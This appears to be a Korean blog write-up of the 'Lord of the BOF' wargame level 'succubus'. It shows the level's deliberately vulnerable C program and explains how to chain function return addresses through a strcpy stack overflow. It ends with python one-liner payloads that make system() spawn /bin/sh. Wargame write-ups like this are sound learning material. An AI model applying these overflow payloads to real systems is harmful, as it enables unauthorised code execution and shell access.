poppop ret 가젯 구하는 방법

SSo@linux$ objdump -d 파일명 | egrep 'pop|ret'


단 이 명령으로 찾을 때 주의할 점은 pop이 연속으로 위치해 있어야 하는걸 잘 기억하고 사용해야한다.


bss 구하는 방법

objdump -h 파일명 | grep "bss"


RET에 DO 함수 주소가 들어감...

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

        // olleh!
        system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
        if(check != 1)
                exit(0);

        printf("welcome to the GYE!\n");
        check = 2;
}

void DO(void)
{
        printf("welcome to the DO!\n");
        check = 1;
}

main(int argc, char *argv[])
{
        char buffer[40];
        char *addr;

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        // you cannot use library
        if(strchr(argv[1], '\x40')){
                printf("You cannot use library\n");
                exit(0);
        }

        // check address
        addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);

        // stack destroyer
        // 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
        memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

        // LD_* eraser
        // 40 : extra space for memset function
        memset(buffer-3000, 0, 3000-40);
}
C언어 소스다. 소스를 보면 공유라이브러리는 사용이 불가능하고, 스택의 ret에는 DO함수의 주소가 있어야 한다. DO의 주소는 gdb에서 memcmp 함수가 실행되기 전에 스택에 push되는 값이랑 같기 때문에 그 값이 DO의 주소값이다. 더 쉽게 찾는 방법은 브레이크 포인트를 걸고 p DO를 입력하면 확인할 수 있다.

이런식으로 각 함수들의 주소를 찾는다.


페이로드를 작성해야한다. 

먼저 DO가 실행되고 이 DO가 실행되면 check변수가 1로 초기화 된다. system 함수가 있는 MO함수는 check가 4여야지 실행이 가능한데, DO를 실행하면 check=1이여서 실행을 할 수 없다. 이번엔 GUL함수를 보면 check에 2가 들어간다. 또 YUT를 보면 check에 3이 들어간다. 이런식으로 다른 함수들을 거쳐가면 check에 4다 들어갈 때 그 다음으로 MO함수를 실행하면 된다. 따라서 그 순서는  DO -> GYE -> GUL -> YUT -> MO 이렇게 실행이 되면 된다.

페이로드는 각 함수의 주소로 이어준다.

먼저 NOP으로 SFP까지 채워주고 ret에 DO를 넣고 순서대로 각 함수의 주소를 넣는다. MO까지 넣고 실행하면 아래와 같이 제대로 실행이 안된다.

작성한 페이로드는 

`python -c 'print"\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x88\xfa\xff\xbf"'`

MO함수가 system 함수를 실행하면서 cmd라는 명령을 실행한다. 하지만 cmd라는 명령어를 실행할 수 없기 때문에 쉘이 따지지 않는다. 따라서 저 명령어를 /bin/sh로 변경해주면 된다.

현재 저 페이로드 뒤에 MO함수의 ret부분에 더미값을 넣어주고, /bin/sh의 주소를 넣어주면 되는데 /bin/sh의 주소를 gdb에서 찾아보니 주소에 40이 들어가서 페이로드에 넣을 수 없다. 그래서 인자에 문자열로 "/bin/sh"을 넣어주고 직접 그 주소를 찾아서 system함수의 인자에 넣어주면 된다.


`python -c 'print "\x90"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"\x90"*4+"\x88\xfa\xff\xbf"+"/bin/sh"'`




'Wargame > lord of bufferoverflow' 카테고리의 다른 글

Lord of bufferoverflow nightmare  (0) 2017.09.26
Lord of bufferoverflow succubus  (0) 2017.09.20
Lord of bufferoverflow assassin  (0) 2017.08.26
Lord of bufferoverflow giant  (0) 2017.08.26
Lord of bufferoverflow bugbear  (0) 2017.08.22

+ Recent posts